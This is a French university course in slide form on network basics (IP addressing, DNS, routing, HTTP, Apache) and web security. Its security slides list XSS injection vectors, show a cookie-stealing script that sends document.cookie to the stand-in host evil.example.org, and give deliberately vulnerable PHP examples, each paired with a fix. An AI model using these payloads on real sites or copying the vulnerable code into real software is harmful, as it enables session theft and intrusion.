Cours réseau Julien Bourgeois Année Spéciale SRC

Slides:



Advertisements
Présentations similaires
Mais vous comprenez qu’il s’agit d’une « tromperie ».
Advertisements

Dynamic Host Configuration Protocol DHCP [RFC ]
Sécurité informatique
Reporting de la Cellule Nationale Droit dOption Situation au 31 décembre 2011.
Additions soustractions
1 Plus loin dans lutilisation de Windows Vista ©Yves Roger Cornil - 2 août
Présentation de l’Internet
Les numéros 70 –
ACCES AUX RESSOURCES RESEAU INTERNET
- ACL * Access Control List. Sommaire 1)Théorie 1)ACL standard 1)ACL étendue 1)ACL nommée 1)Mise en place et vérification des ACLs.
14 - Adresse IP et interfaces. Plan détude 1)Adresse IP dune interface 1)Résolution de nom vers IP statique 1)Service DNS 1)Spécification des interfaces.
- Couche 7 - Couche application. Sommaire 1)Introduction 1)DNS 1)FTP et TFTP 1)HTTP 1)SNMP 1)SMTP 1)Telnet.
Cours MIAGE « Architectures Orientées Services » Henry Boccon-Gibod 1 Orchestration de Web Services Module 5 Exercice Pratique à l'usage de l'environnement.
DUDIN Aymeric MARINO Andrès
Open System Interconnect reference model
Architecture de réseaux
Formation réseau de base
LES TRIANGLES 1. Définitions 2. Constructions 3. Propriétés.
Programmation Internet et Intranet
TP 3-4 BD21.
Cours Présenté par …………..
Données statistiques sur le droit doption au 31/01 8 février 2012.
FIN. Lycée Général et Technologique Simone de BEAUVOIR Quest-ce quInternet? On compare souvent Internet à une « autoroute » FIN.
Les Réseaux (Informatiques)
Technologies et pédagogie actives en FGA. Plan de latelier 1.Introduction 2.Les technologies en éducation 3.iPads 4.TNI 5.Ordinateurs portables 6.Téléphones.
Révision (p. 130, texte) Nombres (1-100).
La législation formation, les aides des pouvoirs publics
Exercice Trame Ethernet
Initiation et perfectionnement à lutilisation de la micro-informatique Créer un blog avec Windows Live Spaces sur un Mac ou sur un PC ©Yves Roger Cornil.
Common Gateway Interface
Le Téléphone Russe Le Téléphone Russe. Le Téléphone Russe Le Téléphone Russe.
Lycée Général et Technologique du Rempart - Marseille.
Scanning.
Présentation générale
Analyse des protocoles de la couche application
Chef de projet : COUDERC Antoine Equipe : DELMON - GENIEZ - LACROIX
Si le Diaporama ne s'ouvre pas en plein écran Faites F5 sur votre clavier.
Virtual Local Area Network
Les nombres.
Les relations clients - serveurs
Logiciel gratuit à télécharger à cette adresse :
Les chiffres & les nombres
Les Monnaies et billets du FRANC Les Monnaies Euro.
Année universitaire Réalisé par: Dr. Aymen Ayari Cours Réseaux étendus LATRI 3 1.
Le Modele OSI.
MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur.
MAGIE Réalisé par Mons. RITTER J-P Le 24 octobre 2004.
Aire d’une figure par encadrement
Initiation au web dynamique
Les fondements constitutionnels
MAGIE Réalisé par Mons. RITTER J-P Le 24 octobre 2004.
Vue d'ensemble Configuration d'adresses IP
Adressage internet utilisé par le protocole IP (Internet Protocol)
Copyright © SUPINFO. All rights reserved Module 3 – IP Basics IP adresses, classes and routing Campus-Booster ID : 802.
1/65 微距摄影 美丽的微距摄影 Encore une belle leçon de Macrophotographies venant du Soleil Levant Louis.
Certains droits réservés pour plus d’infos, cliquer sur l’icône.
Chapitre 1: Réseaux Informatiques
Sommaire Dans ce chapitre, nous aborderons :
Le protocole d’authentification
La formation des maîtres et la manifestation de la compétence professionnelle à intégrer les technologies de l'information et des communications (TIC)
0 Objectifs de la session n°1  Revenir sur toutes les bases théoriques nécessaires pour devenir un développeur Web,  Découvrir l’ensemble des langages.
Réseau Infrastructure Partage ressources Protocole Sécurité.
Devenez metteur en toile ! Ou comment imaginer, construire et faire vivre un site internet associatif Raphaël Thiémard
Fonction Communiquer : Les Réseaux Ethernet
(\> LordLogs </) VIA 09/12/2010
Bienvenue.
Cours de programmation web
Couche Transport (4) Routeur Messages entre A et B
Les listes de contrôle d’accès
V- Identification des ordinateurs sur le réseau
Transcription de la présentation:

Cours réseau Julien Bourgeois Année Spéciale SRC IUT Belfort-Montbéliard http://rma.pu-pm.univ-fcomte.fr Julien.Bourgeois@univ-fcomte.fr Bureau recherche Numérica 03 81 99 47 75 Bureau Enseignement Département R&T 03 81 99 47 05 Certains transparents de Didier Donsez sur HTTP

[Biblio/webo]graphie www.netcraft.com www.vulnwatch.org/netcat/ www-adele.imag.fr/users/Didier.Donsez/cours/http.pdf www.liafa.jussieu.fr/~yunes/internet/http

Objectifs Votre métier repose sur les technologies réseau Donner une idée des technologies réseau pour : Avoir un socle commun pour dialoguer avec les autres Comprendre un minimum ce qui se passe au niveau physique Etre capable de se débrouiller pour certaines opérations (Serveur web, DNS, serveur FTP, etc.)

Objectifs (1)

? Objectifs (2) Que veut-elle comme service ? www.google.com Où trouver www.google.com ? ? Que faut-il lui envoyer ?

? Objectifs (2) Que veut-elle comme service ? www.google.com Où trouver www.google.com ? ? Que faut-il lui envoyer ?

Où trouver www.google.com ? Internet Contient des liaisons WAN (Wide area networks) Le LAN (Local Area Network) ou réseau local

( L’adressage IP Toute machine connectée à internet a une adresse IP (Internet Protocol) C’est une adresse composée de 4 chiffres (0-255) séparés par des points Par exemple : Serveur web SRC, 194.57.85.209 Serveur web pôle, 194.57.85.210 Serveur R&T, 194.57.85.250

L’adressage IP (2) Adresse réseau 194 .57 .85 .209 194 .57 .85 .210 194 .57 .85 .209 194 .57 .85 .210 194 .57 .85 .250 11000010. 00111001. 01010101. 11010001 11000010. 00111001. 01010101. 11010010 11000010. 00111001. 01010101. 11111010 Adresse réseau Adresse machine

Masque de sous-réseau Comment différencier l’@ réseau de l’@ machine ? A toute @IP est associé un masque de sous-réseau (netmask) Une @IP seule ne suffit donc pas ! Le netmask sert à éliminer l’@ machine de l’@ IP

Masque de sous-réseau (2) 194 .57 .85 .209 194 .57 .85 .210 194 .57 .85 .250 11000010. 00111001. 01010101. 11010001 11000010. 00111001. 01010101. 11010010 11000010. 00111001. 01010101. 11111010 Ces trois adresses ont le même netmask 255.255.255.192 Adresse réseau Adresse machine

Masque de sous-réseau (3) 194 .57 .85 .209 255 .255 .255 .192 194 .57 .85 .192 11000010. 00111001. 01010101. 11010001 11111111. 11111111. 11111111. 11000000 11000010. 00111001. 01010101. 11000000 On obtient que l’@ réseau, mais à quoi ça sert ? & &

Classes d’adresses IP Classe Début Fin Notation CIDR Netmask associé Classe A     0.0.0.0 127.255.255.255 /8 255.0.0.0 Classe B 128.0.0.0 191.255.255.255 /16 255.255.0.0 Classe C 192.0.0.0 223.255.255.255 /24 255.255.255.0

Classes d’adresses IP (2) Nombre de réseaux Nombre d’adresses par réseau Classe A     128     16,777,214 Classe B     16,384     65,534 Classe C     2,097,152     254

Où trouver www.google.com ? Internet Contient des liaisons WAN (Wide area networks) @IP Le LAN (Local Area Network) ou réseau local @IP

Où trouver www.google.com ? On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask Problème : www.google.com n’est pas une adresse IP…

( Le DNS Domain Name System Protocole de communication Ensemble de serveurs Permet de faire la conversion entre un nom alphabétique et une adresse IP Important notamment quand on créé son site web car on doit référencer son adresse auprès des DNS !

Le DNS (2) Host (linux) ou nslookup (windows) affichent la correspondance Démarrer -> Exécuter -> cmd, puis : C:/>nslookup www.google.com Serveur : tharradin.pu-pm.univ-fcomte.fr Address: 194.57.85.210 Réponse ne faisant pas autorité : Nom : www.l.google.com Addresses: 64.233.183.99, 64.233.183.104, 64.233.183.103 Aliases: www.google.com @IP

Le DNS (2) L'inverse est aussi possible… … et on l’appelle reverse DNS C:/>nslookup 64.233.183.99 Serveur : tharradin.pu-pm.univ-fcomte.fr Address: 194.57.85.210 Nom : nf-in-f147.google.com Address: 64.233.183.147 L'inverse est aussi possible… … et on l’appelle reverse DNS

Le DNS, format des noms Au début de l'Internet : espace à plat (fichier HOSTS.TXT) taille énorme conflits de noms Actuellement : espace hiérarchique Format des noms : (x1.x2...xN).y.z Avec au minimum 2 mots, et <63 carac. Exemple : google.com, pu-pm.univ-fcomte.fr non sensible à la casse (case insensitive)

Le DNS, format des noms (2) Format des noms : (x1.x2...xN).y.z Valeurs de z : com, org, net, gov, eu, ... : international fr, ro, es, uk, de, ... : par pays vous pouvez donner un nom en .ro à votre site alors qu'il est hébergé en Suisse (et que vous habitez en France) !

… Le DNS, les registrars gTLD : Generic Top Level Domain Noms gTLD ICANN ccTLD Autorité nationale … Registrar (joker.com) Registrar (gandi.net) Registrar (fc-net.fr) gTLD : Generic Top Level Domain ccTLD : Country Code Top Level Domain

Le DNS, les registrars Noms gTLD ICANN ccTLD Autorité nationale … Registrar (joker.com) Registrar (gandi.net) Registrar (fc-net.fr) Internet Corporation for Assigned Names and Numbers (ICANN) pour les gTLD AFNIC pour les domaines .fr et .re

) Le DNS, les registrars Source www.webhosting.info Rank Registrar Market Share Total Domains 1 GO DADDY 20.871% 18,559,935 2 ENOM 8.455% 7,518,947 3 NETWORK SOLUTIONS 7.458% 6,631,901 4 TUCOWS 6.563% 5,836,391 5 MELBOURNE IT 5.119% 4,551,823 6 SCHLUND+PARTNER 3.856% 3,428,759 7 REGISTER.COM 3.021% 2,686,328 8 WILD WEST DOMAINS 2.732% 2,429,031 9 MONIKER 2.501% 2,223,701 10 PUBLIC DOMAIN REGISTRY 1.930% 1,716,135 11 DOMAINDOORMAN.COM 1.679% 1,492,807 12 BELGIUMDOMAINS.COM 1.669% 1,484,046 13 CAPITOLDOMAINS.COM 1.660% 1,475,874 14 DIRECTNIC 1.439% 1,279,830 15 KEY-SYSTEMS 1.343% 1,194,699 Source www.webhosting.info

Où trouver www.google.com ? Internet Contient des liaisons WAN (Wide area networks) @IP = 64.233.183.99 Le LAN (Local Area Network) ou réseau local @IP

Où trouver www.google.com ? On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask L’adresse IP de www.google.com s’obtient en interrogeant le DNS Problème : Où trouver l’adresse 64.233.183.99 sur internet ?

Où trouver 64.233.183.99 ? Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x1 ........................... MS TCP Loopback interface 0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller 0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25 0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25 Passerelle par défaut : 172.20.40.126

Où trouver 64.233.183.99 ? Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x1 ........................... MS TCP Loopback interface 0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller 0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25 0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25 Passerelle par défaut : 172.20.40.126 Pour y arriver je dois passer par… Si je veux aller là… La prochaine étape est…

Où trouver 64.233.183.99 ? Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x1 ........................... MS TCP Loopback interface 0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller 0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25 0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25 Passerelle par défaut : 172.20.40.126 Pour y arriver je dois passer par mon loopback Si je veux aller sur ma machine La prochaine étape est mon loopback

Où trouver 64.233.183.99 ? Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x1 ........................... MS TCP Loopback interface 0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller 0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25 0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25 Passerelle par défaut : 172.20.40.126 Pour y arriver je dois passer par mon interface WiFi Si je veux aller sur mon LAN La prochaine étape est mon routeur interne

Où trouver 64.233.183.99 ? Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x1 ........................... MS TCP Loopback interface 0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller 0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25 0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25 Passerelle par défaut : 172.20.40.126 Pour y arriver je dois passer par mon interface WiFi Si je veux aller n’importe où ailleurs La prochaine étape est mon routeur externe

C’est le sens de la passerelle par défaut ! Où trouver 64.233.183.99 ? Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x1 ........................... MS TCP Loopback interface 0x2 ...00 13 77 26 4a 5d ...... Broadcom 440x 10/100 Integrated Controller 0x3 ...00 13 02 3a 09 f7 ...... Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 172.20.40.64 255.255.255.192 172.20.40.97 172.20.40.97 25 0.0.0.0 0.0.0.0 172.20.40.126 172.20.40.97 25 Passerelle par défaut : 172.20.40.126 C’est le sens de la passerelle par défaut !

Où trouver www.google.com ? On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask L’adresse IP de www.google.com s’obtient en interrogeant le DNS L’adresse 64.233.183.99 n’est pas sur notre LAN Problème : Comment trouver son chemin sur internet ?

Où trouver www.google.com ? Internet Contient des liaisons WAN (Wide area networks) @IP = 64.233.183.99 Envoi à 64.233.183.99 @IP

Où trouver www.google.com ? @IP = 64.233.183.99 Routeurs

Où trouver www.google.com ? @IP = 64.233.183.99 @IP 64.233.183.99 ?

Routage SRC 26 routeurs Google Source : VisualRoute

Où trouver www.google.com ? @IP = 64.233.183.99 Routage dynamique @IP 64.233.183.99 ?

Les couches ISO Codage et décodage du signal Application Couche 1 : Interfacage avec le support physique Présentation Session Codage et décodage du signal Gestion début et fin des trames Conversion données en signaux Transport Réseau Liaison Physique

Les couches ISO Appareil réseau : Concentrateur (Hub) Application Couche 1 : Interfacage avec le support physique Présentation Session Appareil réseau : Concentrateur (Hub) Renvoie à tous le monde tous les paquets Topologie physique en étoile, topologie logique en bus Transport Réseau Liaison Physique

Les couches ISO Medium Access Control Application Couche 2 : sous-couche MAC Présentation Medium Access Control Conversion des données en trames adaptées au support Gestion des adresses physiques (adresses MAC) Session Transport Réseau MAC Liaison LLC Physique

Les couches ISO Medium Access Control Application Couche 2 : sous-couche MAC Présentation Medium Access Control Conversion des données en trames adaptées au support Gestion des adresses physiques (adresses MAC) Session Transport Réseau MAC Liaison LLC Physique

Les couches ISO Appareil réseau : commutateur (switch) Application Couche 2 : sous-couche LLC Présentation Appareil réseau : commutateur (switch) Utilise les adresses MAC pour router les paquets Session Transport Réseau MAC Liaison LLC Physique

Les couches ISO IP (Internet Protocol) Adresse unique pour une machine Application Couche 3 : Adressage, nommage et routage Présentation IP (Internet Protocol) Adresse unique pour une machine Conversion physique/logique Routage, choix de la destination des paquets Session Transport Réseau Liaison Physique

Les couches ISO Appareil réseau : routeur Utilise les adresses réseaux Application Couche 3 : Adressage, nommage et routage Présentation Appareil réseau : routeur Utilise les adresses réseaux Utilise des protocoles de routage (RIP, OSPF, BGP, etc.) Session Transport Réseau Liaison Physique

Les couches ISO TCP (Transport Control Protocol) Application Couche 4 : Transport TCP (Transport Control Protocol) Reséquencement des paquets Etablissement, maintien et fermeture des liaisons Contrôle de flux et d'erreur UDP (User Datagram Protocol) Mode non-connecté Pas de contrôle de flux, etc. Présentation Session Transport Réseau Liaison Physique

Sur un LAN de Google Plusieurs centaines de milliers de serveurs Choix du serveur par un load-balancer

( Culture web Qui est le leader des serveurs web ? Apache Quelle est sa part de marché en 2007 ? 57% D’où vient son nom ? A patchy serveur

Les serveurs web

A patchy server (Apache) Modularité Fiabilité égale aux produits commerciaux (0.53 erreur par 100 lignes de code) Open source (tuning possible) Multi plate-formes Mauvais départ de IIS principal concurrent Performances

) Apache : Les modules httpd_core mod_access mod_auth mod_dir mod_log_config mod_mime

Comment communiquer ? ? @IP

Comment communiquer ? On sait comment trouver le serveur web On peut lui envoyer des informations Mais comment lui demander une page web ?

HTTP HyperText Transfer Protocol Protocole basé sur des messages en texte Facilement compréhensible Permet de dialoguer avec un serveur web Stable et éprouvé Historique : HTTP/0.9 : T. Berners-Lee, 1991 RFC 1945 : HTTP/1.0. T. Berners-Lee, R. Fielding, H. Frystyk. 6/1996. RFC 2068 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, T. Berners-Lee. 1/1997. RFC 2616 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, T. Berners-Lee. 6/1999. RFC 2817 : Upgrading to TLS Within HTTP/1.1. R. Khare, S. Lawrence. May 2000. RFC 2616bis : HTTP/1.1, 1/2008

HTTP N’importe quel outil réseau peut dialoguer en HTTP Netcat, telnet, … Il suffit de connaître les commandes HTTP … et de savoir déchiffrer les réponses du serveur

HTTP : Exemple avec netcat Commande netcat à taper C:\>nc -v www.free.fr 80 www.free.fr [212.27.48.10] 80 (http) open GET / HTTP/1.1 Host: www.free.fr HTTP/1.1 200 OK Date: Tue, 28 Aug 2007 08:12:33 GMT Server: Apache Last-Modified: Tue, 28 Aug 2007 08:12:41 GMT ETag: W/"248d6-e6ad-46d3e0cf" Accept-Ranges: bytes Content-Length: 59053 Connection: close Content-Type: text/html; charset=iso-8859-1 X-Pad: avoid browser bug <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title> … </body></html> Réponse de netcat Commande HTTP à taper Tapez 2x entrée pour envoyer la commande Réponse au format HTTP de www.free.fr suivi du code HTML de la page demandée

HTTP : Les commandes GET GET ou POST PUT, DELETE, LINK, UNLINK HEAD Récupération d ’un document GET ou POST Soumission d ’un formulaire PUT, DELETE, LINK, UNLINK Envoi de Document et Gestion de Site HEAD Récupération des informations sur le document

HTTP : Les commandes (2) OPTIONS TRACE CONNECT Demande des options de communication disponibles TRACE Retourne le corps de la requête intacte (déboguage) CONNECT

Format de requête Du client vers le serveur <Méthode> <URI> HTTP/<Version> [<Champ d ’entête>: <Valeur>] [<tab><Suite Valeur si >1024>] ligne blanche [corps de la requête pour la méthode POST] Exemple GET / HTTP/1.1 Host: www.free.fr Ligne blanche (tapez 2x entrée)

Format de la réponse Du serveur vers le client Exemple HTTP/<Version> <Status> <Commentaire Status> Content-Type: <Type MIME du contenu> [< Champ d ’entête >: <Valeur>] [<tab><Suite Valeur si >1024>] Ligne blanche Document Exemple HTTP/1.1 200 OK … Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title> </body></html>

Statuts des réponses HTTP 100-199 Informationnel 100 : Continue (le client peut envoyer la suite de la requête), ... 200-299 Succès de la requête client 200: OK, 201: Created, 204 : No Content, ... 300-399 Redirection de la Requête client 301: Redirection, 302: Found, 304: Not Modified, 305 : Use Proxy, ... 400-499 Requête client incomplète 400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found 500-599 Erreur Serveur 500: Server Error, 501: Not Implemented, 502: Bad Gateway, 503: Out Of Resources (Service Unavailable)

Place du serveur web Internet Internet DMZ Routeur avec filtrage niveau 3 et 4 Firewall avec filtrage applicatif Authentification Filtrage sélectif Détection des intrusions DMZ FTP IDS HTTP AAA

Sécurisation d’Apache Cacher des informations ServerTokens Prod ServerSignature Off Redéfinir une page 404 C’est la base mais la plupart des serveurs ne le font pas !!!!

Sécurisation d’Apache Accès aux répertoires <directory /> order deny,allow deny from all </directory> <directory «/chroot/www/»/> order allow,deny allow from all

Sécurisation d’Apache Exécuter apache avec les bons droits Création d’un groupe et d’un utilisateur apache But : Empêcher (ou retarder…) la propagation d’un exploit

Sécurisation d’Apache : chroot Commande Unix : change root Exécute une commande avec un répertoire racine spécifique But : Emprisonner un programme dans son arborescence

chroot : les étapes (à la main) Création d’une arborescence Vérification des dépendances (ldd) Recopie des librairies Recopie des fichiers de configs et spéciaux

chroot : les étapes (automatisées) Utilisation de debootstrap Permet d’installer une debian de base Evite les recopies fastidueuses Mais prend plus de place !

Valider les entrées On se place dans le cas d’utilisateurs ou de programmes mal intentionnés Technique du cheval de Troie Entrée camouflée Lors de l’exécution, prise de contrôle de l’application (affichage d’informations confidentielles, exécution de scripts, …)

Valider les entrées Niveau administration des services Bloquer certaines fonctionnalités Imposer des limites (CPU, mémoire, etc.) Linux PAM : Pluggable Authentication Modules Niveau programmation Filtrage des entrées

Valider les entrées Les noms de fichier Empêcher le changement de répertoire Interdire /, .. ou ~ Empêcher la divulgation d’informations Interdire le globbing (*, ?, [], {}) (ex: ftp) Ex : ftp> ls *../*/../*../ Filtrer les noms de fichiers --, caractères de controle, espace, encodage exotique, <, “, etc.

Valider les entrées HTML Cause majeure de trou de sécurité Possibilité d’HTML sont énormes : Cross-site scripting Javascript … tout autre langage (flash, java, …) Dans les pages HTML, mais surtout dans les mails (pas de sandbox) ! L’utilisateur charge une page sans connaitre son contenu !

Valider les entrées HTML Filtrer les caractères de contrôles des pages HTML Définir une liste de balises sûres… <p>, <b>, <i>, <em>, <strong>, <pre>, <br> … et éliminer les autres <script>, <applet>, <embed>, <bgsound>, …

Valider les entrées HTML Eliminer de manière intelligente : <script> </comment> <!-- --> --> Ou <_a<script> <<script>

Valider les entrées HTML <a href="javascript#[code]"> <div onmouseover="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> [IE] <input type="image" dynsrc="javascript:[code]"> [IE] <bgsound src="javascript:[code]"> [IE] &<script>[code]</script> &{[code]}; [N4] <img src=&{[code]};> [N4] <link rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]"> [IE] <img src="mocha:[code]"> [N4] <img src="livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http−equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]">

Valider les entrées HTML <div style="background−image: url(javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[code]"> [IE] <style><!−−</style><script>[code]//−−></script> <!−− −− −−><script>[code]</script><!−− −− −−> <<script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b><script>[code]</script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF−8; IE, Opera] <![CDATA[<!−−]] ><script>[code]//−−></script>

Valider les entrées : HTML Htmlfilter http://linux.duke.edu/projects/mini/htmlfilter/ Programme PHP de filtrage

Valider les entrées URL : Un lien est-il sûr ? Phishing (Hameçonnage) Amener l’internaute sur un site web usurpé Soutirer des informations confidentielles En France Fin 2004, condamnation d’un étudiant (1 an de prison et 8500 € d’amende) 40 sites de phishing en France Voir www.phishing.fr

Valider les entrées URL Un lien est-il sûr ? URI scheme://authority[path][?query][#fragment] Authority : [username[:password]@]host[:portnumber]

Valider les entrées URL Exemple : http://www.ibm.com/0123213454446@siteHack.c om Interdire les user/password Limiter l’usage de ports exotiques Comme pour HTML, mise en place de filtres !

Buffer overflow Dépassement de tampon Buffer : espace mémoire alloué pour des besoins temporaires Espace mémoire = taille finie Dépassement de cette taille peut permettre de prendre le contrôle de l’application

Buffer overflow Risques réels : Netscape 4 : prise de contrôle à distance Windows NT : longueur des mots de passe Internet Explorer : redirection vers des pages non demandées (distribution de virus, vers, backdoor, etc.)

Buffer overflow Pose problème surtout en C/C++ Peu de problèmes en Java Si programmation en C/C++ : Utilisation de librairies spécifiques (libsafe) Utilisation d’outils de compilation spécifiques (StackGuard, ProPolice)

Cross-site scripting (XSS) Génération de code HTML à partir d’entrées utilisateur Exemples : Guestbook Commentaires de sites Etc.

Cross-site scripting (XSS) Un attaquant envoie du code malveillant sur site web Le site web publie ce code Ce code est lu par la victime qui croit être sur un site “sûr” Problème de confiance !

Cross-site scripting (XSS) Source : Chris Shiflett, http://shiflett.org/talks/apachecon2003/

Cross-site scripting (XSS) Exemple : Vol de cookie <script> document.location = 'http://evil.example.org/steal- cookies.php' + '?cookies=' + document.cookie </script>

Cross-site scripting (XSS) Exemple : Mais qu’est-ce que ça fait ? <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) {     $fp = fopen('./messages.txt', 'a');     fwrite($fp, "{$_GET['message']}<br>");     fclose($fp); } readfile('./messages.txt'); ?>

Cross-site scripting (XSS) Solutions : Filtrer les entrées d’un site Conversion de caractères Appliquer la règle de base de la sécurité : “Tout ce qui n’est pas autorisé est interdit.” Interdire les messages board ? :-)

Cross-site scripting (XSS) htmlentities() : Convertit tous les caractères éligibles en entités HTML strip_tags() : Supprime les balises HTML et PHP d'une chaîne utf8_decode() : Convertit une chaîne UTF-8 en ISO-8859

Cross-site scripting (XSS) <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) {     $fp = fopen('./safer.txt', 'a');     $msg = htmlentities($_GET['message']);     fwrite($fp, "$msg<br>");     fclose($fp); } readfile('./safer.txt'); ?>

Java Langage relativement sûr de base Sécurité en Java repose essentiellement sur les questions d’héritage

Java Enfonçons quelques portes ouvertes ensemble : Pas de variables en public -> private Pas de méthodes en public -> private pour empêcher la réception de données malveillantes Classes et méthodes doivent être terminales (final)

Java Encore : Classes non sérialisables Classes non désérialisables private final void writeObject(ObjectOutputStream out) throws java.io.IOException { throw new java.io.IOException("Object cannot be serialized"); } Classes non désérialisables private final void readObject(ObjectInputStream in) throw new java.io.IOException("Class cannot be deserialized");

PHP Mauvaise image au niveau sécurité Provient principalement de raisons historiques plus ou moins anciennes Au début (avant 4.1) pas beaucoup de préoccupations sécuritaires PHP est jeune -> 1995 PHP a été créé de manière anarchique

PHP et les variables Problèmes dans la gestion des variables Partage du même espace de nommage de toutes les variables Initialisation par défaut Possibilité de contrôler (lecture et écriture) la valeur de toutes les variables

PHP et les variables Exemple : <?php if ($pass == "hello") $auth = 1; ... ... <- Modification de $auth par un attaquant ! if ($auth == 1) echo "some important information"; ?>

PHP et les variables Solution : Utiliser au moins PHP 4.1.0 register_globals Off

PHP mutualisé PHP mutualisé (fournisseur d’accès) Apache en serveur web Différents utilisateurs, différents scripts, mêmes droits ! + simple est d’utiliser le safe mode

PHP mutualisé : Safe mode [1] Quand appel à fopen() : Vérification du propriétaire du script Correspondance propriétaire du fichier Commandes limitées safe_mode_exec_dir Variables environnement safe_mode_allowed_env_vars

PHP mutualisé : Safe mode [2] Modification des variables d’environnement safe_mode_protected_env_vars putenv() modifie uniquement les variables PHP_ Fonctions interdites disable_functions (dl, symlink, virtual, etc.)

PHP mutualisé Safe mode : résumé Nom Par défaut Modifiable safe_mode "0" PHP_INI_SYSTEM safe_mode_gid safe_mode_include_dir NULL safe_mode_exec_dir "" safe_mode_allowed_env_vars PHP_ safe_mode_protected_env_vars LD_LIBRARY_PATH open_basedir disable_functions disable_classes “”

PHP mutualisé Détourner le safe mode Lister l’arborescence des fichiers Fixer un open_basedir

PHP mutualisé : suPHP suPHP Module apache (mod_suphp) Exécutable (suPHP) Permet d’exécuter les scripts PHP avec les droits de l’utilisateur

PHP mutualisé : suPHP Plus besoin du safe mode, donc plus de restrictions au niveau du PHP suPHP doit avoir les droits root…

PHP mutualisé : autre méthode Supprimer l’utilisation de certaines commandes dans php.ini avec disable_functions Limiter les droits sur le système de fichier (noexec)

https : Sécurisation d’http http est basé sur des échanges de messages texte en clair Problème lors de l’échange de données sensibles Carte de crédit Mots de passe

https : Sécurisation d’http Utilisation d’un port séparé : 443 Cryptage de tous les échanges avec SSL Utilisation d’une clé de 128bits Proposé par Netscape, en 1996 tentative de contre par Microsoft et STT

https : Sécurisation d’http Installation : Apache Mod_ssl Openssl … et ça marche ! Voir http://www.modssl.org

Problème subsidiaire Comment est-ce qu’on connait l’hôte que l’on doit contacter ? Par exemple, dedu.com et bourgeois.com sont hébergés chez Ouvaton Comment est-ce qu’ouvaton affiche la bonne page ? Réponse : dans l’entête HTTP et on passe par des hotes virtuels